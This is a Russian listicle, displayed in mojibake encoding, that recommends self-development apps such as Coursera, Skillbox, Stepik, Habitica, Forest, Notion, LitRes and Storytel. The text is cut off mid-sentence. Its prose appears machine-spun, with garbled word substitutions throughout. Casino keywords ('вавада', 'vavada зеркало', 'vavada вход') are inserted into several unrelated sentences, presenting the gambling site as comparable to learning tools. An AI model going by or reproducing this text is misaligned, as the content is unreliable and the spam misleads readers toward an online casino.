Peak выдСляСтся ΠΌΠΎΠ΄Π½Ρ‹ΠΌ интСрфСйсом ΠΈ большим Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΠ΅ΠΌ ΠΌΠΈΠ½ΠΈ-ΠΈΠ³Ρ€ Π½Π° ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ Ρ€Π°Π·Π½Ρ‹Ρ… аспСктов ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚Π°:

  • РСтСнция
  • Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅
  • АрифмСтичСскиС умСния
  • Π Π°Π·ΡƒΠΌ
  • ЧувствСнный ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚

ПослС всякой ΠΏΠ°Ρ€Ρ‚ΠΈΠΈ Π²Ρ‹ ΠΏΡ€ΠΈΠΎΠ±Ρ€Π΅Ρ‚Π°Π΅Ρ‚Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΡƒΡŽ статистику ΠΏΠΎ своим успСхам Π·Π° дСнь/нСдСлю/мСсяц. Π”Π°Π½Π½ΠΎΠ΅ содСйствуСт ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° прогрСссом ΠΈ Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚ΡŒ нСдостатки для дальнСйшСй Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π°Π΄ собой.

Peak особСнно распространён срСди ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΡ…ΡΡ благодаря ΠΊΠΎΠΌΡ„ΠΎΡ€Ρ‚Ρƒ использования “Π½Π° Ρ…ΠΎΠ΄Ρƒ”: ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΡƒΡ€ΠΎΠΊ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ Π½Π΅ большС 5 ΠΌΠΈΠ½ΡƒΡ‚.

Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ занятия: освоСниС свСТим способностям

Coursera: извСстныС Π²Ρ‹ΡΡˆΠΈΠ΅ ΡƒΡ‡Π΅Π±Π½Ρ‹Π΅ завСдСния Π² мобильном устройствС

Coursera Π΄Π°Π²Π½ΠΎ являСтся Π·Π½Π°ΠΊΠΎΠΌ качСствСнного ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-обучСния. Π‘Ρ€Π΅Π΄ΠΈ распространённых сСрвисов для образования, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π²Π°Π²Π°Π΄Π°, здСсь собраны Π²ΠΎΠ΅Π΄ΠΈΠ½ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π²Π΅Π΄ΡƒΡ‰ΠΈΡ… ΡƒΡ‡Π΅Π±Π½Ρ‹Ρ… Π·Π°Π²Π΅Π΄Π΅Π½ΠΈΠΉ ΠΏΠΎ всСму ΠΌΠΈΡ€Ρƒ (Бтэнфорд, ΠœΠ“Π£, Π™Π΅Π»ΡŒ) ΠΏΠΎ самым Ρ€Π°Π·Π½Ρ‹ΠΌ направлСниям:

  • ΠšΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅
  • Π₯озяйство
  • ΠšΡ€Π΅Π°Ρ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ
  • ΠŸΡΠΈΡ…ΠΎΡ‚Π΅Ρ€Π°ΠΏΠΈΡ
  • Π‘Ρ‚ΠΈΠ»ΡŒ

ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ содСрТат Π²ΠΈΠ΄Π΅ΠΎΠ»Π΅ΠΊΡ†ΠΈΠΈ, задания для самопровСрки Π·Π½Π°Π½ΠΈΠΉ, практичСскиС задания ΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹. ПослС ΡƒΠ΄Π°Ρ‡Π½ΠΎΠ³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ сСртификат (Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… случаях ΠΎΠ½ ΠΏΠ»Π°Ρ‚Π½Ρ‹ΠΉ).

ΠŸΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ российский язык ΠΊΠ°ΠΊ интСрфСйса, Ρ‚Π°ΠΊ ΠΈ субтитров ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ курсам — это Π΄Π΅Π»Π°Π΅Ρ‚ ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ достиТимым Π΄Π°ΠΆΠ΅ Ρ‚Π΅ΠΌ, ΠΊΡ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ приступаСт ΠΊ ΡƒΡ‡ΠΈΡ‚ΡŒ английский.

Skillbox: популярныС ΠΊΠ°Ρ€ΡŒΠ΅Ρ€Ρ‹ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅

Skillbox сфокусирован Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π½Π° ΠΊΠ°Ρ€ΡŒΠ΅Ρ€Π½ΠΎΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ для ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎΠ»Π΅Ρ‚Π½ΠΈΡ…: ΠΏΡ€ΠΎΠ΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅, Π΄ΠΈΠ·Π°ΠΉΠ½, ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, координация ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ². Π’ сравнСниС ΠΎΡ‚ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ vavada Π·Π΅Ρ€ΠΊΠ°Π»ΠΎ, Π² этом мСстС основноС Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ — ΠΏΠΎΡ‡Ρ‚ΠΈ всС курсы содСрТат Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Π΅ кСйсы ΠΎΡ‚ российских ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ-ΠΏΠ°Ρ€Ρ‚Π½Π΅Ρ€ΠΎΠ² (ЯндСкс.ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒΠΌ Ρ‚ΠΎΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΡƒΡŽ модСль Ρ€Π°Π±ΠΎΡ‚Ρ‹).

ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ Skillbox:

  • ΠžΠ±Ρ€Π°Ρ‚ΠΈΠΌΡ‹ΠΉ обратная связь ΠΎΡ‚ ΠΊΡƒΡ€Π°Ρ‚ΠΎΡ€ΠΎΠ²
  • ВыпускныС Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΈΠ½Ρ‚Π΅Ρ€Π½ΡˆΠΈΠΏΠ°
  • Π£Π΄ΠΎΠ±Π½Ρ‹ΠΉ ΠΏΠΎΡ€Ρ‚Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс

Skillbox Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Ρ‚Π΅ΠΌ, ΠΊΡ‚ΠΎ стрСмится ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€ΠΎΠ΄ Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠ»ΠΈ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ ΠΊΠ²Π°Π»ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ Π±Π΅Π· оставлСния Ρ€Π°Π±ΠΎΡ‚Ρ‹.

Stepik: Π±Π΅Π·Π²ΠΎΠ·ΠΌΠ΅Π·Π΄Π½ΠΎΠ΅ ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π½Π° российском Π½Π°Ρ€Π΅Ρ‡ΠΈΠΈ

Stepik стал ΠΏΠΎΠ΄Π»ΠΈΠ½Π½Ρ‹ΠΌ ΠΏΡ€ΠΎΡ€Ρ‹Π²ΠΎΠΌ для русского ΠΎΠ½Π»Π°ΠΉΠ½-образования благодаря ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ бСсплатной ΠΌΠΎΠ΄Π΅Π»ΠΈ доступа ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Ρƒ курсов. Π—Π΄Π΅ΡΡŒ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ акадСмичСскиС ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚Ρ‹ (матСматичСскиС Π½Π°ΡƒΠΊΠΈ Π²Ρ‹ΡΡˆΠ΅Π³ΠΎ уровня), Ρ‚Π°ΠΊ ΠΈ ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½Ρ‹Π΅ умСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Python-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°).

ΠŸΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΠΊΠΎΠΌΡ„ΠΎΡ€Ρ‚Π½Π° Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ позволяСт Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ собствСнныС курсы всякому стрСмящСмуся ΡƒΡ‡ΠΈΡ‚Π΅Π»ΡŽ ΠΈΠ»ΠΈ Π·Π½Π°Ρ‚ΠΎΠΊΡƒ Π² своСй области. Благодаря Π΄Π°Π½Π½ΠΎΠΌΡƒ основа рСгулярно дополняСтся Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π°ΠΌΠΈ Π½Π° Ρ‚Π΅ΠΌΡƒ соврСмСнным ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚Π°ΠΌ.

Π€ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π΅ΠΊ ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ

Habitica: ΠΏΡ€ΠΎΠΊΠ°Ρ‡ΠΈΠ²Π°ΠΉ свою сущСствованиС ΠΊΠ°ΠΊ RPG-Π°Π²Π°Ρ‚Π°Ρ€Π°

Π₯Π°Π±ΠΈΡ‚ΠΈΠΊΠ° ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ процСсс формирования ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π΅ΠΊ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΠ½ΡƒΡŽ Ρ€Π°Π·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΆΠ°Π½Ρ€Π΅ Ρ€ΠΎΠ»Π΅Π²Ρ‹Ρ… ΠΏΡ€ΠΈΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ (RPG). Π’Ρ‹ создаСтС пСрсонаТ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π²Π°Π²Π°Π΄Π° ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΎΠΏΡ‹Ρ‚ Π·Π° ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½Ρ‹Ρ… миссий:

  • Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π»ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΡƒΡ€Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΎΡ‡ΡŒΡŽ
  • УтрСнняя зарядка
  • ΠžΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²Ρ‹Ρ… Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ².
  • Π‘ΠΎΠ·Π΅Ρ€Ρ†Π°Π½ΠΈΠ΅

Π—Π° пропуск ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡ΠΊΠΈ ΠΈΠ³Ρ€ΠΎΠΊ ΡƒΡ‚Ρ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ самочувствиС ΠΈΠ»ΠΈ Π·ΠΎΠ»ΠΎΡ‚ΠΎ! Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ ΡΠΏΠ»Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ с Π΄Ρ€ΡƒΠ·ΡŒΡΠΌΠΈ Π² ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ для ΠΊΠΎΠ»Π»Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ прохоТдСния “квСстов” — ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, задСйствуя vavada Π²Ρ…ΠΎΠ΄, ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ сСбС Π·Π°Π΄Π°Ρ‡Ρƒ Π½Π΅ ΠΏΡ€ΠΎΠ³ΡƒΠ»ΠΈΠ²Π°Ρ‚ΡŒ ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π΅ΠΆΠΊΠΈ вСсь ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π² 30 Π΄Π½Π΅ΠΉ.

ΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ способ Π² частности эффСктивно Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρƒ Ρ‚Π΅Ρ… самых ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π·Π°Ρ‚Ρ€ΡƒΠ΄Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡΡ‚ΠΈΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСбя стандартными напоминаниями ΠΎ Π΄Π΅Π»Π°Ρ….

Forest: концСнтрируйся избСгая ΠΎΡ‚Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠΉ

Forest содСйствуСт Π±ΠΎΡ€ΠΎΡ‚ΡŒΡΡ с прокрастинациСй Ρ‡Π΅Ρ€Π΅Π· Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ процСсса ΠΊΠΎΠ½Ρ†Π΅Π½Ρ‚Ρ€Π°Ρ†ΠΈΠΈ внимания. Π’ этом процСссС, Ρ‚Π°ΠΊΠΈΠ΅ инструмСнты, ΠΊΠ°ΠΊ vavada Π²Ρ…ΠΎΠ΄, ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ Ρ†Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ. Π‘ΡƒΡ‚ΡŒ элСмСнтарна: Π²Ρ‹ ставитС Ρ‚Π°ΠΉΠΌΠ΅Ρ€ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° 25 ΠΌΠΈΠ½ΡƒΡ‚), оставляСтС Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½ Π² сторону — Π° Π½Π° экранС “растСт” Π΄Π΅Ρ€Π΅Π²ΠΎ. Если Π²Ρ‹ΠΉΡ‚ΠΈ ΠΈΠ· ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΏΡ€Π΅ΠΆΠ΄Π΅Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ — растСниС ΡƒΠΌΠΈΡ€Π°Π΅Ρ‚!

Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Π·Π° нСдСлю ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π·Π²ΠΈΡ‚ΡŒ Ρ†Π΅Π»Ρ‹ΠΉ массив ΠΈΠ· “сконцСнтрированных” ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΈΠ»ΠΈ занятий. Forest сотрудничаСт с ΠΏΡ€ΠΈΡ€ΠΎΠ΄ΠΎΠΎΡ…Ρ€Π°Π½Π½Ρ‹ΠΌΠΈ организациями ΠΏΠΎ ΠΏΠΎ всСму свСту; Π·Π° успСхи участники ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡΠ°Π΄ΠΈΡ‚ΡŒ настоящСС Π΄Π΅Ρ€Π΅Π²ΠΎ Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π² Африканском ΠΊΠΎΠ½Ρ‚ΠΈΠ½Π΅Π½Ρ‚Π΅ ΠΈΠ»ΠΈ Азии.

ДрСвСсный массив распространён срСди студСнтов Π²ΠΎ врСмя ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… занятий ΠΊ тСстам; ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ΄Π΅Π°Π»Π΅Π½ фрилансСрам для планирования Ρ€Π°Π±ΠΎΡ‡Π΅Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π±Π΅Π· Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎΠ³ΠΎ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… сСтСй.

Notion: ΠΌΠ½ΠΎΠ³ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ срСдство ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ

Notion Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Π½Π°Π·Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΠΌ для ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π΅ΠΊ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Ρ‡Π½ΠΈΠΊΠ°; это скорСС “ΡˆΠ²Π΅ΠΉΡ†Π°Ρ€ΡΠΊΠΈΠΉ Π½ΠΎΠΆ” Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ управлСния Тизнью:

  • ΠšΠΎΠ½ΡΠΏΠ΅ΠΊΡ‚Ρ‹
  • Π‘Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…
  • ΠšΠ°Π»Π΅Π½Π΄Π°Ρ€ΡŒ обязанностСй
  • Π”ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹ прогрСсса ΠΏΠΎ Π·Π°Π΄Π°Ρ‡Π°ΠΌ/ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡ΠΊΠ°ΠΌ
  • ΠžΠ±Ρ‰Π°Ρ Ρ€Π°Π±ΠΎΡ‚Π° ΠΏΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ

Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ Notion ΠΈΠ½Ρ‚ΡƒΠΈΡ‚ΠΈΠ²Π½ΠΎ Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅ΠΌ Π΄Π°ΠΆΠ΅ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΌ; ΠΌΠΎΠΆΠ½ΠΎ быстро Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ шаблон ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° изучСния Π»ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΡƒΡ€Ρ‹ ΠΈΠ»ΠΈ расписаниС ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ ΠΊ экзамСну ΠΏΠΎ Π•Π“Π­/ΠžΠ“Π­. ОсобСнно ΡƒΠ²Π°ΠΆΠ°ΡŽΡ‚ Notion ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠ΅ΡΡ Π²ΡƒΠ·ΠΎΠ² Π·Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ вСсти записи Π»Π΅ΠΊΡ†ΠΈΠΉ вмСстС с ΠΎΠ΄Π½ΠΎΠ³Ρ€ΡƒΠΏΠΏΠ½ΠΈΠΊΠ°ΠΌΠΈ прямо Π²Π½ΡƒΡ‚Ρ€ΠΈ софта.

Π’ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠ½ΠΈΠ³ΠΈ ΠΈ Π°ΡƒΠ΄ΠΈΠΎΠΊΠ½ΠΈΠ³ΠΈ ΠΊΠ°ΠΊ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ личностного роста

ЛитРСс: вСдущая коллСкция ΠΊΠ½ΠΈΠ³ Ρ€ΡƒΠ½Π΅Ρ‚Π°

ЛитРСс ΡƒΠΆΠ΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π»Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ статус самой извСстной ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ элСктронных ΠΊΠ½ΠΈΠ³ Π½Π° российском языкС. Π’ этом мСстС, Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Ρ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ ΠΈ Π½Π° Π²Π°Π²Π°Π΄Π°, ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ ΠΊΠ½ΠΈΠ³ΠΈ ΠΏΠΎΡ‡Ρ‚ΠΈ любого направлСния:

  • ВворчСская ΠΏΡ€ΠΎΠ·Π°
  • Научно-популярная Π»ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΡƒΡ€Π°
  • Π˜ΡΡ‚ΠΎΡ€ΠΈΠΈ ΠΆΠΈΠ·Π½ΠΈ Π²Π΅Π»ΠΈΠΊΠΈΡ… личностСй.
  • Пособия ΠΏΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΎΠ±Ρ€Π°Π·Π½Ρ‹ΠΌ областям

Удобная функция синхронизации ΠΌΠ΅ΠΆΠ΄Ρƒ устройствами, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ vavada Π·Π΅Ρ€ΠΊΠ°Π»ΠΎ, позволяСт Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ сразу Π½Π° мобильникС Π΄ΠΎΠΌΠ° ΡƒΡ‚Ρ€ΠΎΠΌ Π·Π° Π·Π°Π²Ρ‚Ρ€Π°ΠΊΠΎΠΌ ΠΈΠ»ΠΈ дальшС Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π²Π΅Ρ‡Π΅Ρ€ΠΎΠΌ ΡƒΠΆΠ΅ Π½Π° ΠΏΠ»Π°Π½ΡˆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄ сном Π±Π΅Π· ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Π·Π°ΠΊΠ»Π°Π΄ΠΎΠΊ.

Π’Π°ΠΊΠΆΠ΅ ЛитРСс интСнсивно Ρ€Π°Π·Π²ΠΈΠ²Π°Π΅Ρ‚ сСгмСнт Π°ΡƒΠ΄ΠΈΠΎΠΊΠ½ΠΈΠ³; Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ произвСдСния Π½Π°Ρ‡ΠΈΡ‚Π°Π½Ρ‹ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ Π°ΠΊΡ‚Π΅Ρ€Π°ΠΌΠΈ Ρ‚Π΅Π°Ρ‚Ρ€Π° ΠΈΠ»ΠΈ ΠΊΠΈΠ½ΠΎ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠšΠΎΠ½ΡΡ‚Π°Π½Ρ‚ΠΈΠ½ Π₯абСнский Ρ‡ΠΈΡ‚Π°Π» «ΠœΠ°ΡΡ‚Π΅Ρ€Π° ΠΈ ΠœΠ°Ρ€Π³Π°Ρ€ΠΈΡ‚Ρƒ»).

Storytel: царство Π·Π²ΡƒΠΊΠΎΠ²Ρ‹Ρ… ΠΊΠ½ΠΈΠ³ Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎ ΠΏΠΎΠ΄ Ρ€ΡƒΠΊΠΎΠΉ.

Storytel Π΄Π΅Π»Π°Π΅Ρ‚ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ особСнно Π½Π° аудиовосприятии ΠΊΠ½ΠΈΠ³ вмСсто ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ чтСния Π·Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ. Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ расти Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° Π»Π°Π΄ΠΎΠ½ΠΈ заняты Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ — Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²ΠΎ врСмя ΠΏΡ€ΠΎΠ±Π΅ΠΆΠΊΠΈ ΠΈΠ»ΠΈ посудомойки!

Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Storytel Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ дСсятки тысяч ΠΊΠ½ΠΈΠ³; ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ мСсяц ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½ΠΎΠ²Ρ‹Π΅ ΠΊΠ½ΠΈΠ³ΠΈ Π»ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΡƒΡ€Ρ‹ нашСго Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ наряду с Π»ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΡƒΡ€Π½ΠΎΠΉ классикой XIX–XX столСтий. Для ΠΈΠ·ΡƒΡ‡Π°ΡŽΡ‰ΠΈΡ… Π·Π°Ρ€ΡƒΠ±Π΅ΠΆΠ½Ρ‹Π΅ Π΄ΠΈΠ°Π»Π΅ΠΊΡ‚Ρ‹ 